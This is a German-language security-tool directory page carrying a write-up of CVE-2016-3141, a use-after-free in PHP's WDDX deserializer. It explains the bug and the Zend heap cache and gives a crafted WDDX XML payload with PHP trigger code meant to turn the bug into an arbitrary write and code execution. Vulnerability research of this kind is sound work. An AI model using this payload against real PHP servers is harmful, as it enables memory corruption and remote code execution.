Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/peternguyen93/cve-2016-3141
SpeicherforensikSchwachstellenanalyseCode-AnalyseExploitationLernen & BildungBinary-Exploitation
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Repository anzeigen
1542vor 10 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2016-3141

1. Details zur Schwachstelle.

Eine Use-after-Free-Schwachstelle in wddx.c in der WDDX-Erweiterung in PHP vor 5.5.33 und 5.6.x vor 5.6.19 erlaubt entfernten Angreifern, durch das Auslösen eines wddx_deserialize-Aufrufs auf XML-Daten, die ein manipuliertes var-Element enthalten, einen Denial-of-Service (Speicherkorruption und Programmabsturz) zu verursachen oder möglicherweise andere, nicht näher bezeichnete Auswirkungen zu erzielen.

2. Überblick über den Bug.

Dies ist ein Use-after-Free-Bug, der auftritt, wenn wddx versucht, XML-Daten zu verarbeiten. Werfen Sie einen Blick auf diesen Code in der Funktion php_wddx_deserialize_ex. Wenn wddx_deserialize($xml) mit einigen XML-Daten aufgerufen wird, ruft PHP diese Funktion auf und setzt dann einige Funktionen zur Behandlung von XML-Tags und -Daten ein.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

Die Funktion php_wddx_push_element erstellt einen Eintrag für ein Tag, wie Sie in diesem Ausschnitt sehen können. Wenn Sie zum Beispiel <string>Hello World</string> eingeben, wird beim Erreichen des öffnenden Tags die Funktion php_wddx_push_element aufgerufen, um einen st_entry-Eintrag zu erstellen, der Informationen über ein Tag speichert. Sehen wir uns dazu den folgenden Codeausschnitt an:

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME ist eine Prozedur, die unten definiert ist. Diese Prozedur prüft einfach das stack->varname eines Tags. Wenn es nicht NULL ist, wird dieses stack->varname geklont und anschließend freigegeben.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

Der Bug tritt in php_wddx_pop_element auf. Wenn das XML ein var-Tag schließt, wird varname dieses Tags freigegeben, und dieser freigegebene Zeiger bleibt weiterhin in stack->varname gespeichert. Wenn Sie zum Beispiel ein var wie <var name='UAF'></var> erstellen, erzeugt php_wddx_push_element eine Struktur, die dieses var-Tag speichert. Wenn Sie dieses Tag dann schließen, wird es freigegeben, aber es wird vergessen, stack->name = NULL zu setzen oder stack->top zu dekrementieren. Wenn Sie danach ein anderes Tag wie <string> erstellen, wird die Funktion SET_STACK_VARNAME diesen freigegebenen Zeiger wiederverwenden.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. Die Ausnutzung

Als ich diesen Bug zum ersten Mal sah, dachte ich: „Kann ich diesen Bug nicht in Codeausführung umwandeln?“. Zuerst muss ich verstehen, wie der Zend-Heap implementiert ist. Sehen wir uns dazu die Funktion _zend_mm_alloc_int in zend_alloc.c an:

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Wenn wir eine kleine Chunk-Größe anfordern (weniger als 256 Bytes), verwendet zend_alloc heap->cache — eine Liste freier Chunks, die viele kleine freie Chunks als verkettete Liste speichert. Dieses heap->cache ähnelt dem fast_bin von malloc. Wenn wir es irgendwie schaffen, den Zeiger best_fit->prev_free_block mit einer eigenen Adresse zu überschreiben, und dann erneut zend_alloc aufrufen, können wir diese Adresse nutzen, um an eine beliebige Stelle im Speicher zu schreiben.

Dazu erstelle ich das folgende WDDX-XML:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Erzeuge 32 Bytes (chunk_a) mit dem binary-Tag, da dieses Tag die Eingabe nicht druckbarer Zeichen erlaubt.
  2. Erzeuge einen Namen mit derselben Größe wie das erste binary-Tag und lasse diesen Namen dann freigeben (chunk_b).
  3. Erzeuge einen Padding-Chunk mit 64 Bytes (chunk_c).
  4. Erzeuge einen Namen mit 8 Bytes und gib ihn dann frei (chunk_d).
  5. Nach der Deserialisierung dieses $xml durchlaufe ich dieses Objekt in einer foreach-Schleife. In der ersten Iteration zeigt $k nun auf chunk_b, das freigegeben wurde, und $v auf chunk_a. Ich verwende den Operator concat_function, um best_fit->prev_free_block mit eigenen Daten zu überschreiben.
  6. Nutze die PHP-String-Konvertierung, die estrncpy aufruft, um einen neuen Chunk (chunk_e) zu erzeugen, der nun auf chunk_b zeigt, und sorge dafür, dass heap->cache[index] einen eigenen Wert speichert.
  7. Gut, das machen wir noch einmal: estrncpy($v,32) ($v=$binary_value) ruft zuerst erneut zend_alloc auf, und wir erhalten einen Absturz mit $r12 = 0x4343434343. Wenn wir diesen Wert durch eine andere Adresse ersetzen, ruft estrncpy bereitwillig memcpy(r12,v,size) auf, wodurch wir überall dort überschreiben können, wo wir wollen.

Crash

Meinen vollständigen Exploit finden Sie hier: peter_code_execute.php (Getestet auf Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

Schließlich habe ich diesen Bug erfolgreich in Codeausführung umgewandelt. Result

4. Referenzen

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Tool herunterladen